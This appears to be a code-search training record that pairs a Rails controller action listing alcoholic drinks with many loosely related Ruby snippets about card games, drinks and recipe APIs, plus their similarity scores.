dealerHand)\n \n #If the player has not gone bust, call the method responsible for managing\n #dealer's hand\n if playerHand <= 21 then\n dealerHand = play_dealer_hand(dealerHand)\n end\n\n #call the method responsible for determining the results of the game\n determine_winner(playerHand, dealerHand)\n\n end", "def deal\n end_round()\n shuffle()\n rounds_dealt = 0\n while rounds_dealt < @hand_size\n @players.each do | player |\n if card = @deck.draw()\n player.hand << card\n else\n return\n end\n end\n rounds_dealt += 1\n end\n end", "def deal_cards(deck)\n hands []\n players.each do |player|\n hand = {\n player: = player\n card: = deck.shift\n }\n hands << hand\n end\n hands\n end", "def draw_card(number_of_cards)\n for i in 1..number_of_cards\n @hand.push(@deck.pop)\n end\n end", "def add_card card\n card.deck = self\n @cards[card.id] = card\n end", "def show_hand\n if @hand.point == \"Blackjack\" # the dealer should reveal both cards when it has blackjack\n @hand.turn_all_cards_up\n puts \" #{@hand.to_s} Blackjack\\n\" \n else\n puts \" #{@hand.to_s}\\n\"\n end\n end", "def play_game\n\tputs \"debug: in play_game\"\n\n\tplayer_hand = []\t\t\t# Contains the player's cards\n\tdealer_hand = []\t\t\t# Contains the dealer's cards\n\n\t# Reset the deck\n\t$card_deck = $cards.keys\t\n\t#puts card_deck\n\n\t# Deal the cards\n\tdeal_cards(player_hand, dealer_hand)\n\tdealer_turn = false\n\n\tdisplay_hands(player_hand, dealer_hand, dealer_turn)\n\n\twhile true\t# Play until the game is over\n\t\tcommand = get_user_command(game_started=true)\n\n\t\tcase command\n\t\twhen 'H'\n\t\t\t# Deal another card\n\t\t\tdeal_card(player_hand)\n\t\t\n\t\twhen 'S'\n\t\t\t# Player is done betting\n\t\t\tplay_dealer_hand(dealer_hand)\n\t\tend\n\tend\n\nend", "def set_hands(hand_size = 2)\n puts \"Dealing cards\"\n @player.new_hand\n @dealer.new_hand\n\n @dealer.update_deck if @deck.cards_left < ((hand_size * 2) + 1) # Rebuilds deck if empty\n hand_size.times do\n @player.hand.hit\n @dealer.hand.hit\n end\n end", "def hit (deck)\n @hand << deck.deal_card\n calc_score\n true\n end", "def hit_player(player)\n new_card = @deck.draw_card\n RENDERER.render_card(new_card)\n player.receive(new_card)\n end", "def hit_me(your_hand, deck, who)\n deal = deal_cards(deck,1)\n new_card = deal[0]\n deck = deal[1]\n puts \"===============================\"\n drum_roll(\"#{who} hits...\", false)\n puts \"\\n===============================\"\n puts \"The new card is a #{new_card[0]}.\"\n your_hand = your_hand + new_card\n return [your_hand, deck]\nend", "def add_players_lowest_hand(current_player)\n sum_of_players_hand = 0\n if current_player == 1 then\n @player1_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 1\n if current_player == 2 then\n @player2_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 2\n if current_player == 3 then\n @player3_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 3\n if current_player == 4 then\n @player4_hand.each {|x|\n card_value = @deckhash.fetch(x)\n sum_of_players_hand = sum_of_players_hand + card_value\n # $stdout.write(\"Showing card and value #{x}, #{sum_of_players_hand}, #{card_value} \\n\")\n }\n end #end if current player = 4\n# ### This method returns sum of player's hand\n return sum_of_players_hand\n end", "def addCard(givenCard)\n \tcards_users.create(card_id: givenCard.id, is_shared: false)\n end", "def take_card(card)\n @cards << card\n end", "def deal_cards(cards)\n super\n @pipe.puts cards.join $/\n @pipe.puts\n @pipe.flush\n end", "def choose_and_add_card_to_user_deck\n prompt = TTY::Prompt.new\n card = choose_hero\n response = prompt.select('Do you want to add this card to your collection?', %w(Yes No))\n if response == \"Yes\"\n added_card = UserCard.create(user_id: self.id, card_id: card.id)\n puts \"#{added_card.card.name.upcase} was added to your collection.\"\n sleep(1)\n end\n system('clear')\n title\n response = prompt.select('Do you want to look for another card?', %w(Yes No))\n if response == \"Yes\"\n self.choose_and_add_card_to_user_deck\n end\n end", "def return(cards)\n @deck += cards\n end", "def deal_cards\r\n\t\t@player.draw_card(@deck.deal_card)\r\n\t\t@dealer.draw_card(@deck.deal_card)\r\n\t\t@player.draw_card(@deck.deal_card)\r\n\t\t@dealer.draw_card(@deck.deal_card)\r\n\tend", "def deal_hand\n\t\thand = Array.new\n\t\t@num_cards.times do\n\t\t\tcard = get_card(get_random_number)\n\t\t\thand << card\n\t\t\tremove_card_from_deck(card)\n\t\tend\n\t\thand\n\tend", "def start\n if first_game == true\n puts \"Welcome to Blackjack!\"\n end\n self.money -= 10\n puts money\n 2.times do\n player_hand << game_deck.draw\n dealer_hand << game_deck.draw\n end\n puts \"Player hand is:\"\n puts player_hand\n puts \"Dealer hand is:\"\n puts dealer_hand\n end", "def return_cards\n @hand = []\n end", "def hand_deal\n hand = []\n 2.times do\n @card = self.random_card_deal\n hand.push(@card)\n end\n hand\n end", "def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Assign the player and dealer an initial starting card\r\n playerHand = get_new_card\r\n dealerHand = get_new_card\r\n\r\n #Call the method responsible for dealing new cards to the player\r\n playerHand = complete_player_hand(playerHand, dealerHand)\r\n\r\n #If the player has not gone bust, call the method responsible for managing\r\n #dealer's hand\r\n if playerHand <= 21 then\r\n dealerHand = play_dealer_hand(dealerHand)\r\n end\r\n\r\n #call the method responsible for determining the results of the game\r\n determine_winner(playerHand, dealerHand)\r\n\r\n end" ]
[ "0.7685799", "0.735753", "0.7192807", "0.7178604", "0.7168574", "0.7115666", "0.71085477", "0.7090862", "0.70635945", "0.70139927", "0.698107", "0.6974285", "0.69685185", "0.69032645", "0.6887878", "0.6868682", "0.68554443", "0.68184406", "0.6793746", "0.6765969", "0.6756906", "0.6754544", "0.67475414", "0.6745756", "0.67431074", "0.67055136", "0.6699221", "0.6694486", "0.66751295", "0.665728", "0.66532665", "0.6630184", "0.6627504", "0.66249067", "0.66124004", "0.6611347", "0.66073793", "0.66022164", "0.6600387", "0.6599564", "0.65989", "0.65761244", "0.65735877", "0.6568868", "0.6530418", "0.6521943", "0.6515273", "0.6502957", "0.6496425", "0.64919066", "0.64912903", "0.6481561", "0.64748263", "0.64666903", "0.6465652", "0.64468235", "0.6443124", "0.6439187", "0.64339626", "0.64339626", "0.641925", "0.6416294", "0.6410324", "0.6394957", "0.63859683", "0.63855547", "0.63842887", "0.63778806", "0.63724315", "0.63655454", "0.63567", "0.6347287", "0.63458186", "0.6345067", "0.6340156", "0.6337694", "0.6336644", "0.6329215", "0.63213116", "0.6307614", "0.6302331", "0.62976605", "0.62959826", "0.6294987", "0.6292831", "0.6289055", "0.6285963", "0.6285768", "0.62846714", "0.6282893", "0.6279984", "0.6279698", "0.6278134", "0.627705", "0.6273681", "0.6267713", "0.6265916", "0.62645453", "0.6264323", "0.6256775" ]
0.7330753
2
TODO: Crunch this down into 7 or fewer lines. I'm not gonna be able to get anywhere with this if I don't (temporarily) ignore this constraint
def take_turn turn_over = false until turn_over last_rank = ask_for_cards_until_go_fish_and_get_last_requested_rank end player.lay_down_books end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def constraints; end", "def constraints; end", "def constraints; end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def required_positionals; end", "def constraints\n super\n end", "def requirements=(_arg0); end", "def requirements=(_arg0); end", "def intensifier; end", "def missing?; end", "def required; end", "def required; end", "def required; end", "def _constrainable\n @constrainable ||= {}\n end", "def minimum_strictness; end", "def suggested_strictness; end", "def probers; end", "def schubert; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def restriction\n end", "def offences_by; end", "def saint_saens; end", "def restriction \n end", "def constraints(_)\n nil\n end", "def check_for_requirements; end", "def supports_external_add_constraints?() false; end", "def internship_passed; end", "def valid_before=(_arg0); end", "def checks; end", "def frame(criteria = T.unsafe(nil)); end", "def has_required?; end", "def supports_external_add_constraints?() true; end", "def missed?; end", "def anchored; end", "def wrapped_causes; end", "def requirements(requirements); end", "def valid; end", "def literal_validation; end", "def literal_validation; end", "def explicit?; end", "def missing; end", "def celebration; end", "def validate_nonoverlapping\n end", "def preconditions\n raise NotImplemented\n end", "def valid_for(object, requirements = T.unsafe(nil)); end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def specialty; end", "def check_resource_semantics!; end", "def requirements ; @requirements ||= Requirement.requirements_of self ; end", "def issn; end", "def treat_reserved_as_conflict; end", "def validated?; end", "def validated; end", "def allowed?; true end", "def validator; end", "def internal?; end", "def parameter_rule?; end", "def fallbacks; end", "def fallbacks; end", "def formation; end", "def ignores; end", "def handle_incorrect_constraints(specification)\n specification.inject(Mash.new) do |acc, (cb, constraints)|\n constraints = Array(constraints)\n acc[cb] = (constraints.empty? || constraints.size > 1) ? [] : constraints.first\n acc\n end\n end", "def allowed?() raise NotImplementedError end", "def caveats; nil end", "def caveats; nil end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def macro; raise NotImplementedError; end", "def transient?; end", "def missing?; false; end", "def on_has_internal_subset\n end", "def ignore_parent_exclusion?; end", "def implemented_in; end", "def too_many_hops?; end", "def guard; end", "def policy; end", "def rule\n super\n end", "def rule\n super\n end", "def enforce(*rvals)\n enforce_ex(*rvals)[0]\n end", "def generic?; true; end", "def valid_before; end", "def implementation; end", "def implementation; end", "def silly_adjective; end", "def build_constraints\n Schema::Logical::Constraint.new\n end", "def supports_deferrable_constraints?\n false\n end", "def safe_by_default; end", "def check_constraints\n case self.recordable\n when ExtractionsExtractionFormsProjectsSectionsQuestionRowColumnField\n case self.recordable.question_row_column_field.question_row_column.question_row_column_type.name\n when 'text'\n min_length = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:min_length).to_i\n max_length = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:max_length).to_i\n if self.persisted? && self.name.length > 0 && (self.name.length < min_length || self.name.length > max_length)\n errors.add(:length, \"must be between #{ min_length.to_s } and #{ max_length.to_s }\")\n end\n when 'numeric'\n # First check that we aren't trying to validate any of the ~, <, >, ≤, ≥ special characters.\n if self.recordable.question_row_column_field.question_row_column.question_row_column_fields.second == self.recordable.question_row_column_field\n unless (self.name =~ /\\A[-+]?[0-9]*\\.?[0-9]+\\z/) || self.name != ''\n errors.add(:value, 'Must be numeric')\n end\n\n min_value = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:min_value).to_i\n max_value = self.recordable.question_row_column_field.question_row_column.field_validation_value_for(:max_value).to_i\n if self.persisted? && (self.name.to_i < min_value || self.name.to_i > max_value)\n errors.add(:value, \"must be numeric and between #{ min_value.to_s } and #{ max_value.to_s }\")\n end\n end\n end\n end\n end", "def fix_occurs\n if ! instance_variable_defined?(:@minOccurs)\n @minOccurs = 1\n else\n if @minOccurs !~ /^[1-9]\\d?$/ && @minOccurs != '0'\n raise \"bad minOccurs value: #{@minOccurs}\"\n end\n @minOccurs = Integer(@minOccurs)\n end\n\n if ! instance_variable_defined?(:@maxOccurs)\n @maxOccurs = 1\n else\n if @maxOccurs == 'unbounded'\n @maxOccurs = nil\n else\n if @maxOccurs !~ /^[1-9]\\d?$/ && @maxOccurs != '0'\n raise \"bad maxOccurs value: #{@maxOccurs}\"\n end\n @maxOccurs = Integer(@maxOccurs)\n end\n end\n end", "def used?; end" ]
[ "0.63064045", "0.5937013", "0.5937013", "0.5937013", "0.5884657", "0.5884657", "0.5884657", "0.5884657", "0.5805864", "0.557381", "0.5553668", "0.5553668", "0.5485663", "0.5364799", "0.5356446", "0.5356446", "0.5356446", "0.5354914", "0.532599", "0.52851963", "0.5280748", "0.52690107", "0.52608997", "0.52608997", "0.52608997", "0.52608997", "0.52475125", "0.5238141", "0.5235608", "0.5231902", "0.52281815", "0.52077556", "0.5200878", "0.519004", "0.5148835", "0.51353407", "0.51312774", "0.511478", "0.5114615", "0.51127565", "0.5109639", "0.5105017", "0.50971216", "0.50970536", "0.5093212", "0.5093212", "0.5077786", "0.50728977", "0.50679654", "0.50539494", "0.5049641", "0.5045847", "0.5038058", "0.5038058", "0.5038058", "0.5038058", "0.5038058", "0.50257635", "0.5008469", "0.49954247", "0.4987316", "0.4981775", "0.4980628", "0.49794513", "0.49767584", "0.49714273", "0.4953197", "0.49499494", "0.49487722", "0.49487722", "0.49484408", "0.49481076", "0.4947229", "0.49387118", "0.49374664", "0.49374664", "0.49373692", "0.49373692", "0.49373692", "0.49353984", "0.49249327", "0.4922339", "0.49155363", "0.4914393", "0.49127263", "0.4892493", "0.48922807", "0.48885426", "0.48885426", "0.48864502", "0.48821872", "0.48785812", "0.48756877", "0.48756877", "0.48703787", "0.48691067", "0.48660964", "0.48636714", "0.48468965", "0.48466384", "0.4842829" ]
0.0
-1
GET /alco_drinks GET /alco_drinks.json
def index @alco_drinks = AlcoDrink.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def drinks\n top_drinks = Drink.top.limit(5)\n exclude_drink_ids = top_drinks.map(&:id)\n top_gin_drinks = Drink.top(Ingredient.gin_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_gin_drinks.map(&:id)\n top_vodka_drinks = Drink.top(Ingredient.vodka_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_vodka_drinks.map(&:id)\n top_margarita_drinks = Drink.top([Ingredient.triple_sec_canonical_id, Ingredient.tequila_canonical_id], exclude_drink_ids).limit(5)\n render json: {\n general: top_drinks,\n gin_drinks: top_gin_drinks,\n vodka_drinks: top_vodka_drinks,\n margaritas: top_margarita_drinks,\n }\n end", "def index\n\t\t@drinks = Drink.all\n\tend", "def index\n @drinks = Drink.all\n end", "def set_alco_drink\n @alco_drink = AlcoDrink.find(params[:id])\n end", "def drink\n @drinks = Item.select {|k,v| k.product_type_id == 4 }\n \n respond_to do |format|\n #format.html # index.html.erb\n format.json { render json: @drinks, :only => [:id, :name, :description, :price, :time], :include => {:product_type => { :only => [:id, :name]}}}\n end\n end", "def alco_drink_params\n params.require(:alco_drink).permit(:title, :price, :type, :size, :url, :alko_id)\n end", "def show\n next_url = {}\n next_url = {next: {profile: \"http://#{my_address}:3000/pickup\", href: \"http://#{my_address}:3000/orders/pickup/#{@order.id}\", enctype: 'application/json'}} if @order.status == \"ready\"\n respond_to do |format|\n response_json = { drink: @order.drink, status: @order.status, additions: @order.additions, _links: next_url}\n format.json { render json: response_json, status: 200 }\n end\n end", "def random_drink\n # result = open(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")\n\n def get_json(url)\n respond = RestClient.get(url)\n JSON.parse(respond)\n end\n\n def get_ingredient\n drink_listing = []\n drink_data = get_json(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\")['drinks'].each {|drink, ingr|ingr}.map {|name| name.values}\n\n drink_name = drink_data[0][1]\n drink_type = drink_data[0][21...35]\n drink_type = drink_type.reject do |data|\n data.empty?\n end.join(\", \")\n \"Your drink is a '#{drink_name}' and it is made from #{drink_type}\"\n # \"It is #{drink_type}\"\n # drink_listing\n end\n puts get_ingredient\n #option to save it to a list???\nend", "def create\n @alco_drink = AlcoDrink.new(alco_drink_params)\n\n respond_to do |format|\n if @alco_drink.save\n format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully created.' }\n format.json { render :show, status: :created, location: @alco_drink }\n else\n format.html { render :new }\n format.json { render json: @alco_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def random_cocktail\n\trand_cocktail_url = open(\"https://www.thecocktaildb.com/api/json/v1/1/random.php\").read\n\trand_cocktail_json = JSON.parse(rand_cocktail_url)\n\trand_cocktail_json[\"drinks\"][0]\nend", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def show\n @includes_drink = IncludesDrink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @includes_drink }\n end\n end", "def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end", "def drinks(type)\n drinkRecords.all(:type => type)\n end", "def index\n @drinks = Drink.all\n @drink_types = DrinkType.all\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def index\n @recommended_links = RecommendedLink.all\n\n render json: @recommended_links\n end", "def index\n @shop_section = ShopSection.find_by_short_url(\"brands\")\n @brands = Brand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @brands }\n end\n end", "def menu\n foods = current_user.restaurant.meals.where(meal_type: 0)\n drinks = current_user.restaurant.meals.where(meal_type: 1)\n render json: {foods: foods, drinks: drinks, is_success: true}, status: :ok\n end", "def index\n @drink_items = DrinkItem.all\n end", "def show\n @drink = Drink.find(params[:id])\n end", "def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end", "def index\n if (params[:redirect] == \"on\")\n sql = <<-SQL\n WITH src AS (SELECT id, daughters(id)\n FROM kine WHERE owner_id = #{params[:search_owner]})\n SELECT json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n else\n @daughters = Daughter.all\n end\n end", "def index\n @pending_recommended_links = PendingRecommendedLink.all\n\n render json: @pending_recommended_links\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def set_drink\r\n $admenu = Admenu.where(:id => params[:admenu_id]).first\r\n $drink = $admenu.drinks.where(:id => params[:id]).first\r\n end", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def index\n @favourite_drinks = FavouriteDrink.all\n end", "def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end", "def index\n @l_inks = LInk.all\n end", "def index\n @dices = Dice.all\n\n render json: @dices\n end", "def food_info(food_id)\n get(\"/foods/#{food_id}.json\")\n end", "def show\n @basin = Basin.find(params[:id])\n\n @client = YahooWeather::Client.new \n @response = @client.fetch_by_location('Massingir, Gaza, Mz','c')\n @reponse2 = @client.fetch_by_location('Louis Trichardt, Limpopo, South Africa','c')\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @basin }\n\n end\n end", "def show\n if (params[:redirect] == \"on\")\n sql = <<-SQL\n with src AS (SELECT daughters(ear_num)\n FROM kine WHERE id = #{params[:id]})\n select json_agg(src) FROM src;\n SQL\n render json: ActiveRecord::Base.connection.select_value(sql)\n end\n end", "def show\n render json: @diet, status: 200, root: true\n end", "def show\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advocacy }\n end\n end", "def destroy\n @alco_drink.destroy\n respond_to do |format|\n format.html { redirect_to alco_drinks_url, notice: 'Alco drink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @karyalay_caterers = KaryalayCaterer.all\n render json: @karyalay_caterers\n end", "def index\n @denuncia = Denuncium.all\n\n render json: @denuncia\n end", "def all_deals(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :stage_id, :status, :start, :limit, :sort, :owned_by_you\n end\n request(:get, 'deals', params)\n end", "def show\n @restaurant_dish = Restaurant::Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restaurant_dish }\n end\n end", "def recipe_info_for(id)\n response = Faraday.get(\"https://api.spoonacular.com/recipes/#{id}/information?includeNutrition=true&apiKey=#{spoonacular_key}\")\n JSON.parse response.body\n end", "def index\n render json: Loan.all\n end", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def show\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drip }\n end\n end", "def show\n @meal = Meal.find(params[:meal_id]) if params[:meal_id]\n @recipe = @meal.recipes.find(params[:id]) if @meal\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipe }\n end\n end", "def index\n @dnas = Dna.all\n\n render json: @dnas\n end", "def new\n @bowl = Bowl.new\n @dry_fruits = DryFruit.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bowl }\n end\n end", "def show\n\t\t# find by id and show that particular instance of a drink \n\t\t@drink = @user.drinks.find(params[:id])\n\tend", "def show\n render json: @pizza\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @appeal }\n end\n end", "def fetch_opendap_urls\n ous_response = fetch_ous_response(params)\n\n # TODO: Render errors after OUS is moved to CMR and supports error responses\n render json: ous_response.fetch('items', []), layout: false\n end", "def index\n @breeds = Breed.all\n\n render json: @breeds\n end", "def index\n @dolgnosts = Dolgnost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @dolgnosts }\n end\n end", "def show\n json_response(@food_item)\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def show\r\n @discounts_on_location = DiscountsOnLocation.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @discounts_on_location }\r\n end\r\n end", "def index\n wishes = Wish.all.with_attached_image.where(is_secret: false)\n render json: { wishes: generate_image_url(wishes) }\n end", "def index\n @nepals = Nepal.all\n\n render json: @nepals\n end", "def show\n @ingredient = Ingredient.find_by_url_slug(params[:id])\n @ingredient = Ingredient.find(params[:id]) if @ingredient.nil?\n @recipes = @ingredient.recipes.order('created_at DESC')\n logger.debug @recipes.inspect\n respond_to do |format|\n format.html {render :layout => 'wall'}\n format.json { render json: @ingredient }\n end\n end", "def bannerAll\n @links = Link.order(\"link asc\")\n respond_to do |format|\n format.html # bannerAll.html.erb\n format.json { render json: @link }\n end\n end", "def _state_deals(state_id)\n get('state/deals', state_id, options: { type: :array })\n end", "def show\n @natural_disaster_categories = NaturalDisasterCategory.find(params[:id])\n @disaster = Disaster.find(params[:id])\n\n respond_to do |format|\n format.html {render :show}\n format.json {render json: @disaster}\n end\nend", "def show\n donation = Donation.find_by(id: params[:id])\n render json: donation.as_json\n end", "def list_colors\n colors_raw = search_colors_shopstyle\n colors = formats_colors_hash(colors_raw)\n render json: { status: 0, data: {colors: colors} }\n end", "def show\n @inkcatagory = Inkcatagory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @inkcatagory }\n end\n end", "def show\n @kf_diary = Kf::Diary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kf_diary }\n end\n end", "def update\n respond_to do |format|\n if @alco_drink.update(alco_drink_params)\n format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully updated.' }\n format.json { render :show, status: :ok, location: @alco_drink }\n else\n format.html { render :edit }\n format.json { render json: @alco_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @dinos = Dino.where(query_params)\n render json: @dinos\n end", "def index\n @drink_menus = DrinkMenu.all\n end", "def index\n json_response(current_restaurant.restaurant_food_items)\n end", "def show\n @brewhouse = Brewhouse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brewhouse }\n end\n end", "def show\n @orders = @client.orders.order(date: :desc).page(params[:orders_page]).per_page(10)\n @recipes = @client.recipes.order(date: :desc).page(params[:recipes_page]).per_page(10)\n # binding.pry\n end", "def show\n @dinosaur = Dinosaur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dinosaur }\n end\n end", "def index\n @recipes = Recipe.all\n render json: @recipes\n end", "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "def show\n @brother = Brother.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brother }\n end\n end", "def create\n @order = Order.new(order_params)\n @drink = Drink.where(drink: @order.drink).first\n if @drink.nil?\n respond_to do |format|\n format.json { render json: {}, status: 404}\n end\n else\n respond_to do |format|\n if @order.save\n @drink = Drink.where(drink: @order.drink).first\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n response_json = {drink: @drink.drink, cost: @drink.cost, _links: { next: {profile: \"http://#{my_address}:3000/payment\", href: \"http://#{my_address}:3000/payments/order/#{@order.id}\", enctype: 'application/json'}}}\n format.json { render json: response_json, status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def show\n @adotando_animal = AdotandoAnimal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @adotando_animal }\n end\n end", "def show\n render json: @accessory_category\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meal }\n end\n end", "def index\n @birds = Bird.all.to_a\n begin\n respond_to do |format|\n format.json { render json: {items: @birds, description: \"List all visible birds in the registry\", additionalProperties: false, title: \"POST /birds [request]\",:status => OK } }\n end\n rescue => e\n render json: ({:status => INTERNAL_SERVER_ERROR})\n end\n end", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def show\n params.require(%i[id])\n render json: Beverage.find_by!(id: params[:id])\n end", "def show\n @dish = Dish.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish }\n end\n end", "def show\n render json: { wishes: generate_image_url([@wish]) }\n end", "def list\n \n recipes = Recipe.all\n render :json => recipes.to_json\n\n end", "def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend", "def show\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end", "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end", "def create\n\t\t# A drink is instantiated by the current user\n\t\t@drink = current_user.drinks.build(drink_params)\n\t\t# If the drink instance is saved as a record in our db\n\t\tif\t@drink.save \n\t\t\t# render json for that drink instance\n\t\t\trender :json => @drink\n\t\telse \n\t\t\t# otherwise render json in the for of an error\n\t\t\trender :json => { :errors => @drink.errors.full_messages}, :status => 422\n\t\tend\n\tend", "def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end", "def show\n \t@wishlist = Wishlist.find(params[:id])\n \t@client = @wishlist.client\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @wishlist }\n end\n end", "def db_list\n beername = params[:name]\n @beer_info = BREWERY.search.beers(q: beername, withBreweries: 'Y').first(10)\n @beers_with_breweries = []\n @beerlist = @beer_info.map do |drink|\n drink_object(drink)\n end\n render json: @beerlist\n end", "def show\n @drug = Drug.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @drug }\n end\n end" ]
